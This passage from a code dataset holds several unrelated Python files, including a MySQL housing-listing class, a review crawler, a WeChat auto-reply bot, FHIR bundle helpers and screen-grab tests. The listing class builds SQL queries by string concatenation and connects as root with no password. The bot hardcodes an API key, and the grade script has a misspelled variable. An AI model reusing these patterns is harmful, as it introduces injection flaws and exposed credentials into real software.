university.uni_id AND university.uni_id=1;\")\n temp = cursor.fetchall()\n\n for record in temp:\n nodes.append(list(record))\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing INNER JOIN university WHERE listing.uni_id = university.uni_id AND university.uni_id=2;\")\n temp = cursor.fetchall()\n\n for record in temp:\n nodes.append(list(record))\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing INNER JOIN university WHERE listing.uni_id = university.uni_id AND university.uni_id=3;\")\n temp = cursor.fetchall()\n\n for record in temp:\n nodes.append(list(record))\n\n db.close()\n\n return tuple(nodes)\n\n def breadthFirst(self, uni_id, room, washroom, parking, price):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listings WHERE uni_id=\" + uni_id + \";\")\n goal = cursor.fetchall()\n\n cursor.execute(\"SELECT uni_id FROM university WHERE uni_id=1;\")\n current = cursor.fetchone()\n\n cursor.execute(\"SELECT uni_id FROM university WHERE uni_id=2;\")\n current = cursor.fetchone()\n\n cursor.execute(\"SELECT uni_id FROM university WHERE uni_id=3;\")\n current = cursor.fetchone()\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing INNER JOIN university WHERE listing.uni_id = university.uni_id AND university.uni_id=1;\")\n nodes = cursor.fetchall()\n\n if nodes == goal:\n db.close()\n return nodes\n\n cursor.execute(\"SELECT * FROM listing INNER JOIN university WHERE listing.uni_id = university.uni_id AND university.uni_id=2;\")\n nodes = cursor.fetchall()\n\n if nodes == goal:\n db.close()\n return nodes\n\n cursor.execute(\"SELECT * FROM listing INNER JOIN university WHERE listing.uni_id = university.uni_id AND university.uni_id=3;\")\n nodes = cursor.fetchall()\n\n if nodes == goal:\n db.close()\n return nodes\n\n def getPreferred(self):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n cursor.execute(\"SELECT * FROM preferred;\")\n preferred = cursor.fetchall()[0]\n\n db.close()\n return preferred\n\n def setPreferred(self):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n cursor.execute(\"SELECT * FROM preferred;\")\n preferred = cursor.fetchall()\n\n cursor.execute(\"SELECT searched_roomtype, COUNT(searched_roomtype) AS occ FROM history GROUP BY searched_roomtype ORDER BY occ DESC LIMIT 1;\")\n preferred_roomtype = cursor.fetchone()[0]\n\n cursor.execute(\"SELECT AVG(searched_sqft) FROM history\")\n preferred_sqft = int(cursor.fetchone()[0])\n\n cursor.execute(\"SELECT searched_washroom, COUNT(searched_washroom) AS occ FROM history GROUP BY searched_washroom ORDER BY occ DESC LIMIT 1;\")\n preferred_washroom = cursor.fetchone()[0]\n\n cursor.execute(\"SELECT searched_parking, COUNT(searched_parking) AS occ FROM history GROUP BY searched_parking ORDER BY occ DESC LIMIT 1;\")\n preferred_parking = cursor.fetchone()[0]\n\n cursor.execute(\"SELECT AVG(searched_price) FROM history\")\n preferred_price = int(cursor.fetchone()[0])\n\n if len(preferred) > 0:\n cursor.execute(\"CREATE TABLE preferred_new LIKE preferred;\")\n cursor.execute(\"RENAME TABLE preferred TO preferred_old, preferred_new TO preferred;\")\n cursor.execute(\"DROP TABLE preferred_old;\")\n\n cursor.execute(\"INSERT INTO preferred VALUES ('\" + preferred_roomtype + \"', \" + str(preferred_sqft) + \", '\" + preferred_washroom + \"', '\" + preferred_parking + \"', \" + str(preferred_price) + \");\")\n\n db.close()\n\n def preferredListings(self, uni=None):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n preferred = self.getPreferred()\n\n query = \"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing WHERE\"\n\n if uni == 'uoit':\n query += \" uni_id=1\"\n elif uni == 'utsc':\n query += \" uni_id=2\"\n elif uni == 'utm':\n query += \" uni_id=3\"\n\n if not query.endswith(\"WHERE\"):\n query += \" AND\"\n\n if preferred[0] == 'F-SW':\n query += \" room_type LIKE '%F-SW%'\"\n elif preferred[0] == 'F-SHW':\n query += \" room_type LIKE '%F-SHW%'\"\n elif preferred[0] == 'UF-SW':\n query += \" room_type LIKE '%UF-SW%'\"\n elif preferred[0] == 'UF-SHW':\n query += \" room_type LIKE '%UF-SHW%'\"\n\n if not query.endswith(\"WHERE\"):\n if query.endswith(\"AND\"):\n query += \"\"\n else:\n query += \" AND\"\n\n query += \" sqft*1.1>=\" + str(preferred[1]) + \" AND sqft*0.9<=\" + str(preferred[1])\n\n if not query.endswith(\"WHERE\"):\n if query.endswith(\"AND\"):\n query += \"\"\n else:\n query += \" AND\"\n\n if preferred[3] == \"Yes\":\n query += \" parking LIKE '%Yes%'\"\n elif preferred[3] == \"No\":\n query += \" parking LIKE '%No%'\"\n\n if not query.endswith(\"WHERE\"):\n if query.endswith(\"AND\"):\n query += \"\"\n else:\n query += \" AND\"\n\n query += \" price*1.1>=\" + str(preferred[4]) + \" AND price*0.9<=\" + str(preferred[4]) + \";\"\n\n cursor.execute(query)\n preferred_listings = cursor.fetchall()\n\n db.close()\n return preferred_listings\n\n def getListings(self, university, room, washroom, parking, price, size):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n uni_id = 0\n room_type = \"\"\n searched_parking = \"\"\n searched_washroom = \"\"\n indexes = []\n result = []\n\n if university == '' and room == '' and washroom == '' and not parking:\n return self.depthFirst()\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing;\")\n values = cursor.fetchall()\n\n if university == 'uoit':\n uni_id = 1\n elif university == 'utsc':\n uni_id = 2\n elif university == 'utm':\n uni_id = 3\n\n if not university == '':\n cursor.execute(\"SELECT listing_indexes FROM indexes WHERE uni_id=\" + str(uni_id) + \";\")\n str1 = cursor.fetchall()[0][0]\n str2 = str1.replace(\"[\", \"\")\n numbers = str2.replace(\"]\", \"\")\n indexes = [int(s) for s in numbers.split(',')]\n else:\n cursor.execute(\"SELECT listing_id FROM listing;\")\n str1 = cursor.fetchall()\n for item in str1:\n indexes.append(item[0])\n print(indexes)\n\n if room == 'furnished' and washroom == 'separate':\n room_type = \"F-SW\"\n searched_washroom = \"separate\"\n elif room == 'furnished' and washroom == 'shared':\n room_type = \"F-SHW\"\n searched_washroom = \"shared\"\n elif room == 'unfurnished' and washroom == 'separate':\n room_type = \"UF-SW\"\n searched_washroom = \"separate\"\n elif room == 'unfurnished' and washroom == 'shared':\n room_type = \"UF-SHW\"\n searched_washroom = \"shared\"\n elif room == '' and washroom == 'separate':\n searched_washroom = \"separate\"\n elif room == '' and washroom == 'shared':\n searched_washroom = \"shared\"\n\n if parking:\n searched_parking = \"Yes\"\n elif not parking:\n searched_parking = \"No\"\n\n\n for value in indexes:\n #print(values[value-1])\n if room == '':\n if washroom == '':\n if not parking:\n if int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n elif washroom == 'separate' or washroom == 'shared':\n if not parking:\n if int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n elif room == 'furnished':\n if washroom == '':\n if not parking:\n if values[value-1][1].startswith('F-') and int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][1].startswith('F-') and values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n elif washroom == 'separate' or washroom == 'shared':\n if not parking:\n if values[value-1][1] == room_type and int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][1] == room_type and values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n elif room == 'unfurnished':\n if washroom == '':\n if not parking:\n if values[value-1][1].startswith('UF-') and int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][1].startswith('UF-') and values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n elif washroom == 'separate' or washroom == 'shared':\n if not parking:\n if values[value-1][1] == room_type and int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n elif parking:\n if values[value-1][1] == room_type and values[value-1][4] == searched_parking and int(values[value-1][2]) <= int(size) and values[value-1][3] == washroom.capitalize() and int(values[value-1][5]) <= int(price):\n result.append(values[value-1])\n\n print(result)\n history = []\n\n cursor.execute(\"SELECT * FROM history;\")\n temp_hist = cursor.fetchall()\n\n for record in temp_hist:\n history.append(list(record))\n\n search_history = [room_type, size, searched_washroom, searched_parking, price]\n\n if len(history) >= 30:\n history.pop(0)\n\n for record in history:\n record[0] -= 1\n\n search_history.insert(0, 30)\n\n history.append(search_history)\n\n cursor.execute(\"CREATE TABLE history_new LIKE history;\")\n cursor.execute(\"RENAME TABLE history TO history_old, history_new TO history;\")\n cursor.execute(\"DROP TABLE history_old;\")\n\n for record in history:\n cursor.execute(\"INSERT INTO history VALUES (\" + str(record[0]) + \", '\" + record[1] + \"', \" + str(record[2]) + \", '\" + record[3] + \"', '\" + record[4] + \"', \" + str(record[5]) + \");\")\n\n else:\n index = 0\n\n if len(history) > 0:\n index = history[len(history)-1][0] + 1\n\n search_history.insert(0, index)\n history.append(tuple(search_history))\n\n cursor.execute(\"CREATE TABLE history_new LIKE history;\")\n cursor.execute(\"RENAME TABLE history TO history_old, history_new TO history;\")\n cursor.execute(\"DROP TABLE history_old;\")\n\n for record in history:\n cursor.execute(\"INSERT INTO history VALUES (\" + str(record[0]) + \", '\" + record[1] + \"', \" + str(record[2]) + \", '\" + record[3] + \"', '\" + record[4] + \"', \" + str(record[5]) + \");\")\n\n db.close()\n self.setPreferred()\n return result\n\n","sub_path":"DBConnection.py","file_name":"DBConnection.py","file_ext":"py","file_size_in_byte":19864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"13519182","text":"from ggplot import ggplot, geom_line, aes\nimport pandas as pd\n\n\ndef main():\n df = pd.DataFrame({'a': range(10), 'b': range(5, 15), 'c': range(7, 17)})\n\n df['x'] = df.index\n df = pd.melt(df, id_vars='x')\n\n plot = ggplot(aes(x='x', y='value', color='variable'), df) + geom_line()\n\n print(plot)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"test_plot.py","file_name":"test_plot.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"77789744","text":"ad=input(\"Adınızı giriniz:\")\r\nNumara=input(\"Okul numaranızı giriniz:\")\r\ndef main():\r\n not_1=int(input(\"1.sınav notu:\"))\r\n not_2=int(input(\"2.sınav notu:\"))\r\n not_3=int(input(\"3.sınav notu:\"))\r\n ortalama(not_1,not_2,not_3)\r\n \r\ndef ortalama(not1,not2,not3):\r\n ort=(not1+not2+not3)/3\r\n print(\"Ortalamanız\", ort,\"dır.\")\r\n if ort>=50:\r\n print(Numara, \"no'lu\", ad, \"dersten geçtiniz.\")\r\n else:\r\n print(Nnumara, \"no'lu\", ad, \"dersten kaldınız.\")\r\n\r\nmain()\r\n\r\n","sub_path":"İsim,Numara ve Ortalama Hesaplama 1.py","file_name":"İsim,Numara ve Ortalama Hesaplama 1.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"542891706","text":"# 1904. The Number of Full Rounds You Have Played\n# vwc 246\n# 2021/09/16\n\n# Runtime: 46 ms, faster than 8.05% of Python3 online submissions for The Number of Full Rounds You Have Played.\n# Memory Usage: 14.4 MB, less than 21.26% of Python3 online submissions for The Number of Full Rounds You Have Played.\n\n# 这题难度不大,但是写起来很麻烦。\n# 开始分钟向上round, 结束分钟向下round\n# 计算时差的时候全部换算成总分钟,然后取整即可。\n\nclass Solution:\n def numberOfRounds(self, startTime: str, finishTime: str) -> int:\n sh, sm = startTime.split(':')\n fh, fm = finishTime.split(':')\n sh, sm = int(sh), int(sm)\n fh, fm = int(fh), int(fm)\n sm = self.ceil(sm)\n fm = self.floor(fm)\n if finishTime > startTime:\n return self.eval(sh, sm, fh, fm)\n return self.eval(sh, sm, 24, 0) + self.eval(0, 0, fh, fm)\n\n def eval(self, sh, sm, fh, fm):\n ans = (fh * 60 + fm - sh * 60 - sm) // 15\n return ans if ans >= 0 else 0\n\n def floor(self, minute):\n if 0 <= minute < 15:\n return 0\n elif 15 <= minute < 30:\n return 15\n elif 30 <= minute < 45:\n return 30\n else:\n return 45\n\n def ceil(self, minute):\n if minute == 0:\n return 0\n elif 0 < minute <= 15:\n return 15\n elif 15 < minute <= 30:\n return 30\n elif 30 < minute <= 45:\n return 45\n else:\n return 60","sub_path":"1904. The Number of Full Rounds You Have Played.py","file_name":"1904. The Number of Full Rounds You Have Played.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"203355839","text":"#!usr/bin/env python\n# File name....: web-crawling-3.py\n# Module name..: 3 - Web Crawling\n# Author.......: Buomsoo Kim, Jinsoo Park\n'''\nThis program demonstrates how to navigate simple HTML tree structure using \nurllib and beautifulsoup4. It will print all the reviews up to 5 review pages.\n\nThis file is provided for educational purposed and can be distributed for class use.\nCopyright (c) by Jinsoo Park, Seoul National University. All rights reserved.\n'''\n\n# 웹 크롤링에 필요한 모듈 불러오기\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n# 리뷰 내용을 담기 위한 리스트 생성\nreview_list = []\n\n# try ~ except 문을 통해 혹시나 있을지 모르는 에러 핸들링\ntry:\n\t# 임의로 5번째 페이지까지 크롤링함\n\tfor n in range(5):\n\t\t# 불러오려는 url 입력하기(다음 영화 리뷰 - 라라랜드)\n\t\turl = 'http://movie.daum.net/moviedb/grade?movieId=95306&type=netizen&page={}'.format(n + 1)\n\n\t\t# urlopen 메소드를 통해 web 객체 생성\n\t\twebpage = urlopen(url)\n\n\t\t# html 파싱을 위한 BeautifulSoup 객체 생성\n\t\t#source = BeautifulSoup(webpage, 'html.parser')\n\t\tsource = BeautifulSoup(webpage, 'html5lib')\n\n\t\t# find_all(name, attrs, recursive, string, limit, **kwargs)메소드를 통해 모든 리뷰 추출\n\t\treviews = source.find_all('p', {'class': 'desc_review'})\n\n\t\t# for 문을 통해 해당 페이지의 리뷰 추출 후 리스트에 반환\n\t\tfor review in reviews:\n\t\t\treview_list.append(review.get_text().strip())\n\t\t\t# 혹시 위 코드가 작동 안하면 아래 코드로 시도해 볼 것 \n\t\t\t# 리뷰를 텍스트로 받아와 탭, 엔터 등 화이트스페이스를 없애고 반환\n\t\t\t#review_list.append(review.get_text().strip().replace('\\n', '').replace('\\t', '').replace('\\r',''))\nexcept:\n\tprint('Could not crawl review data')\n\n# txt 파일로 리뷰 내용 출력하기\nfile = open('data.txt', 'w', encoding = 'utf-8')\nfor review in review_list:\n\tfile.write(review + '\\n') # 각 리뷰를 줄 단위로 txt 파일에 저장\nfile.close()\n\n# ///// END OF web-crawling-3 /////////////////////////////////////////////////","sub_path":"source code/Session 1 - Web Crawling/web-crawling-3.py","file_name":"web-crawling-3.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"39158129","text":"import requests, json\nimport itchat\nfrom itchat.content import *\n\n#start用于之后管理员来开启和关闭自动回复系统\n#True 为开启自动回复系统\n#Flase 为关闭自动回复系统\nstart = True\n\n@itchat.msg_register([PICTURE])\ndef simple_reply(msg):\n\tglobal set_friends\n\tglobal start\n\n\t#获取发送消息过来的用户UserName值\n\tusername = msg['FromUserName']\n\n\tif start:\n\t\tif username not in set_friends:\n\t\t\treturn \"\"\n\t\telse:\n\t\t\treturn \"狗子: 不要发图片, 我看不懂[微笑]\"\n\telse:\n\t\treturn \"\"\n\n@itchat.msg_register([TEXT])\ndef text_reply(msg):\n\tglobal set_friends\n\tglobal flag\n\tglobal admin\n\tglobal start\n\n\t#获取发送消息过来的用户UserName值\n\tusername = msg['FromUserName']\n\n\t#判断用户是不是管理员\n\tif username == admin:\n\t\t#判断管理员是否发出\n\t\t#开启自动回复系统的信号 open\n\t\t#关闭自动回复系统的信号 close\n\t\t#重启自动回复系统的信号 restart\n\t\t#退出系统的信号 quit\n\t\t#\n\t\t#重启系统和开启系统的区别在于:\n\t\t#开启是保留上次用户关闭自动回复的状态以及是否已经发送提醒信息\n\t\t#重启则是全部重新启动\n\t\tif \"restart\" == msg['Text']:\n\t\t\tstart = False\n\t\telif \"open\" == msg['Text']:\n\t\t\tstart = True\n\t\t\treturn \"\"\n\t\telif \"close\" == msg['Text']:\n\t\t\tstart = False\n\t\telif \"quit\" == msg['Text']:\n\t\t\titchat.logout()\n\n\t#判别系统是开启还是关闭\n\tif start:\n\t\t#第一次发送提醒信息\n\t\tif username in flag:\n\t\t\titchat.send('狗子: 可输入\"关闭自动回复\"来关闭自动回复功能[微笑]\\n输入\"开启自动回复\"以开启自动回复功能[色]', username)\n\t\t\tflag.remove(username)\n\n\t\t#判断用户是否要开启或者关闭自动回复\n\t\tif '开启自动回复' in msg['Text']:\n\t\t\tset_friends.add(username)\n\t\t\treturn '狗子: 自动回复已开启'\n\t\telif '关闭自动回复' in msg['Text']:\n\t\t\tset_friends.remove(username)\n\t\t\treturn '狗子: 自动回复已关闭'\n\n\t\t#用户关闭自动回复\n\t\t#返回空字符串\n\t\tif username not in set_friends:\n\t\t\treturn \"\"\n\n\t\t#用户自动回复状态处于开启状态\n\t\t\n\t\tKEY = 'b74895fe92fe426ea5f4839212dcd995'\n\t\t#此处去图灵机器人官网注册个账号,然后创建个机器人,把机器人的key复制到这里\n\t\t\n\t\turl = 'http://www.tuling123.com/openapi/api'\n\n\t\tinfo = msg['Text']\n\t\treq_info = info.encode('utf-8')\n\t\tquery = {'key': KEY, 'info': req_info}\n\t\theaders = {'Content-type': 'text/html', 'charset': 'utf-8'}\n\n\t\tr = requests.get(url, params=query, headers=headers)\n\t\tres = r.text\n\n\t\tresponse = '狗子: ' + json.loads(res).get('text').replace('
', '\\n') \n\t\treturn response\n\n\t#系统关闭状态\n\telse:\n\t\t#判断是否要重启\n\t\tif \"restart\" == msg['Text']:\n\t\t\tit = itchat.get_friends()\n\t\t\tset_friends = set()\n\t\t\tfor i in it:\n\t\t\t\tset_friends.add(i['UserName'])\n\t\t\tflag = set_friends.copy()\n\t\t\tstart = True\n\t\t\t\n\t\t#处于关闭状态\n\t\t#返回空字符串\n\t\treturn \"\"\n\t\n#登录微信\t\nitchat.auto_login(hotReload = True)\n\n#获取好友列表\n#返回的是一个好友列表\n#列表中每个元素是字典, 即每个好友的所有信息的字典\nit = itchat.get_friends()\n\n#获取管理员'Sdite'的 UserName的值\n#用于后边开启和关闭系统\nadmin = itchat.search_friends(name='棉三金')[0]['UserName']\n\n#建立好友UserName集合\n#用于后边好友关闭和开启自动回复功能\nset_friends = set()\nfor i in it:\n\tset_friends.add(i['UserName'])\n\n#copy一份好友UserName集合\n#发送提醒信息\n#用于第一次提醒好友可以通过\n#'关闭自动回复'和'开启自动回复'实现相应功能\nflag = set_friends.copy()\n\nitchat.run()\nitchat.dump_login_status()\n","sub_path":"微信聊天机器人/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"411505765","text":"\"\"\"\nSupport for loading FHIR bundles into Bunsen. This includes the following features:\n\n* Allow users to load bundles from a given location\n* Convert bundle entries into Spark Dataframes\n* Save all entities with a bundle collection to a distinct table for each (e.g., an observation table, a condition table, and so on.)\n* Converts the results of a Bunsen query back into bundles that can then be used elsewhere.\n\nSee the methods below for details.\n\"\"\"\nfrom pyspark.sql import DataFrame\nimport json\n\ndef load_from_directory(sparkSession, path, minPartitions=1):\n \"\"\"\n Returns a Java RDD of bundles loaded from the given path. Note this\n RDD contains Bundle records that aren't serializable in Python,\n so users should use this class as merely a parameter to other methods\n in this module, like extract_entry.\n \"\"\"\n\n bundles = sparkSession._jvm.com.cerner.bunsen.Bundles\n return bundles.loadFromDirectory(sparkSession._jsparkSession, path, minPartitions)\n\n\ndef extract_entry(sparkSession, javaRDD, resourceName):\n \"\"\"\n Returns a dataset for the given entry type from the bundles.\n \"\"\"\n\n bundles = sparkSession._jvm.com.cerner.bunsen.Bundles\n return DataFrame(\n bundles.extractEntry(sparkSession._jsparkSession, javaRDD, resourceName), \n sparkSession)\n\n\ndef save_as_database(sparkSession, path, databaseName, *resourceNames, **kwargs):\n \"\"\"\n Loads the bundles in the path and saves them to a database, where\n each table in the database has the same name of the resource it represents.\n \"\"\"\n\n gateway = sparkSession.sparkContext._gateway\n namesArray = gateway.new_array(gateway.jvm.String, len(resourceNames))\n for idx, name in enumerate(resourceNames):\n namesArray[idx] = name\n\n rdd = load_from_directory(sparkSession,path, kwargs.get('minPartitions', 1))\n\n if (kwargs.get('cache', True)):\n rdd.cache()\n\n bundles = sparkSession._jvm.com.cerner.bunsen.Bundles\n\n bundles.saveAsDatabase(sparkSession._jsparkSession, rdd, databaseName, namesArray)\n\n if (kwargs.get('cache', True)):\n rdd.unpersist()\n\ndef to_bundle(sparkSession, dataset):\n \"\"\"\n Converts a dataset of FHIR resources to a bundle containing those resources.\n Use with caution against large datasets.\n \"\"\"\n\n jvm = sparkSession._jvm\n\n json_string = jvm.com.cerner.bunsen.python.Functions.toJsonBundle(dataset._jdf)\n\n return json.loads(json_string)","sub_path":"python/bunsen/bundles.py","file_name":"bundles.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"94024970","text":"\n\nimport os\ntry:\n\t# Needed for Python 2.6 compatibility\n\timport unittest2 as unittest\nexcept ImportError:\n\timport unittest\nimport tempfile\n\nfrom desktopmagic.screengrab_win32 import getDisplayRects, saveRectToBmp, getRectAsImage, GrabFailed\n\ntry:\n\t# Pillow or PIL\n\tfrom PIL import Image\nexcept ImportError:\n\ttry:\n\t\t# some old PIL installations\n\t\timport Image\n\texcept ImportError:\n\t\tImage = None\n\n\nclass GetDisplayRectsTest(unittest.TestCase):\n\t\"\"\"\n\tTests for L{getDisplayRects}\n\t\"\"\"\n\tdef test_getDisplayRectsReturnsList(self):\n\t\t\"\"\"\n\t\tL{getDisplayRects} returns a list of length >= 1 with a tuple containing 4 integers,\n\t\trepresenting the geometry of each display.\n\t\t\"\"\"\n\t\tregions = getDisplayRects()\n\t\t##print(\"Display rects are:\", regions)\n\t\tself.assertIsInstance(regions, list)\n\t\tfor region in regions:\n\t\t\tself.assertIsInstance(region, tuple)\n\t\t\tfor num in region:\n\t\t\t\tself.assertIsInstance(num, int)\n\n\n\tdef disabled_test_getDisplayRectsDoesNotLeak(self):\n\t\t\"\"\"\n\t\tCalling L{getDisplayRects} 100,000 times does not leak memory (you'll have to\n\t\topen taskmgr to make sure.)\n\n\t\tDisabled because Ivan manually confirmed that it does not leak.\n\t\t\"\"\"\n\t\tprint(\"Open taskmgr.exe to make sure I'm not leaking memory right now.\")\n\t\tfor i in range(100000):\n\t\t\tgetDisplayRects()\n\n\n\nclass RectTests(unittest.TestCase):\n\tdef _tryUnlink(self, fname):\n\t\ttry:\n\t\t\tos.unlink(fname)\n\t\texcept OSError:\n\t\t\tpass\n\n\n\tdef test_workingCase(self):\n\t\tif not Image:\n\t\t\tself.skipTest(\"No PIL or Pillow\")\n\n\t\tfname = tempfile.mktemp()\n\t\tself.addCleanup(self._tryUnlink, fname)\n\t\tsaveRectToBmp(fname, rect=(0, 0, 200, 100))\n\t\twith open(fname, \"rb\") as f:\n\t\t\tim = Image.open(f)\n\t\t\tself.assertEqual((200, 100), im.size)\n\n\n\tdef test_invalidRect(self):\n\t\tfname = tempfile.mktemp()\n\t\tself.addCleanup(self._tryUnlink, fname)\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 100, 100)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 99, 100)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 100, 99)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 100, None)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, \"100\", None)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100.0, 100, 101, 101)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 101, 101.0)))\n\t\tself.assertRaises(ValueError, lambda: saveRectToBmp(fname, rect=(100, 100, 200, 200, 200)))\n\t\tself.assertRaises(TypeError, lambda: saveRectToBmp(fname, rect=None))\n\t\tself.assertRaises(TypeError, lambda: getRectAsImage(rect=None))\n\n\n\tdef test_1x1SizeRect(self):\n\t\tif not Image:\n\t\t\tself.skipTest(\"No PIL or Pillow\")\n\n\t\tfname = tempfile.mktemp() + '.bmp'\n\t\tfnamePng = tempfile.mktemp() + '.png'\n\t\tself.addCleanup(self._tryUnlink, fname)\n\t\tself.addCleanup(self._tryUnlink, fnamePng)\n\t\tsaveRectToBmp(fname, rect=(100, 100, 101, 101))\n\n\t\twith open(fname, \"rb\") as f:\n\t\t\tim = Image.open(f)\n\t\t\tself.assertEqual((1, 1), im.size)\n\n\t\tim = getRectAsImage(rect=(100, 100, 101, 101))\n\t\tself.assertEqual((1, 1), im.size)\n\t\tim.save(fnamePng, format='png')\n\n\t\twith open(fnamePng, \"rb\") as f:\n\t\t\tim = Image.open(f)\n\t\t\tself.assertEqual((1, 1), im.size)\n\n\n\tdef test_rectTooBig(self):\n\t\tfname = tempfile.mktemp()\n\t\tself.addCleanup(self._tryUnlink, fname)\n\t\t# Note that 26000x26000 is big enough to fail it on my system\n\t\tself.assertRaises(GrabFailed, lambda: saveRectToBmp(fname, rect=(0, 0, 2600000, 2600000)))\n\t\tself.assertRaises(GrabFailed, lambda: saveRectToBmp(fname, rect=(0, 0, 2600000, 260000000000000000)))\n","sub_path":"desktopmagic/test/test_screengrab_win32.py","file_name":"test_screengrab_win32.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"536320508","text":"import logging\nimport os\nimport sys\nimport flask\n\nfrom structlog import configure\nfrom structlog.processors import JSONRenderer, TimeStamper, format_exc_info\nfrom structlog.stdlib import add_log_level, filter_by_level, LoggerFactory\nfrom structlog.threadlocal import wrap_dict\nfrom flask import g\n\n\ndef logger_initial_config(service_name=None, # noqa: C901 pylint: disable=too-complex\n log_level=None,\n logger_format=None,\n logger_date_format=None):\n if not logger_date_format:\n logger_date_format = os.getenv('LOGGING_DATE_FORMAT', \"%Y-%m-%dT%H:%M%s\")\n if not log_level:\n log_level = os.getenv('SMS_LOG_LEVEL', 'INFO')\n if not logger_format:\n logger_format = \"%(message)s\"\n if not service_name:\n service_name = os.getenv('NAME', 'ras-frontstage')\n try:\n indent = int(os.getenv('JSON_INDENT_LOGGING'))\n except TypeError:\n indent = None\n except ValueError:\n indent = None\n\n def add_service(logger, method_name, event_dict): # pylint: disable=unused-argument\n \"\"\"\n Add the service name to the event dict.\n \"\"\"\n event_dict['service'] = service_name\n return event_dict\n\n logging.basicConfig(stream=sys.stdout, level=log_level, format=logger_format)\n oauth_log = logging.getLogger(\"requests_oauthlib\")\n oauth_log.addHandler(logging.NullHandler())\n oauth_log.propagate = False\n\n def zipkin_ids(logger, method_name, event_dict):\n event_dict['trace'] = ''\n event_dict['span'] = ''\n event_dict['parent'] = ''\n if not flask.has_app_context():\n return event_dict\n if '_zipkin_span' not in g:\n return event_dict\n event_dict['span'] = g._zipkin_span.zipkin_attrs.span_id\n event_dict['trace'] = g._zipkin_span.zipkin_attrs.trace_id\n event_dict['parent'] = g._zipkin_span.zipkin_attrs.parent_span_id\n return event_dict\n\n def parse_exception(_, __, event_dict):\n exception = event_dict.get('exception')\n if exception:\n event_dict['exception'] = exception.replace(\"\\\"\", \"'\").split(\"\\n\")\n return event_dict\n\n # setup file logging\n renderer_processor = JSONRenderer(indent=indent)\n processors = [zipkin_ids, add_log_level, filter_by_level, add_service, format_exc_info,\n TimeStamper(fmt=logger_date_format, utc=True, key='created_at'), parse_exception, renderer_processor]\n configure(context_class=wrap_dict(dict), logger_factory=LoggerFactory(), processors=processors,\n cache_logger_on_first_use=True)\n","sub_path":"frontstage/logger_config.py","file_name":"logger_config.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"430399596","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom 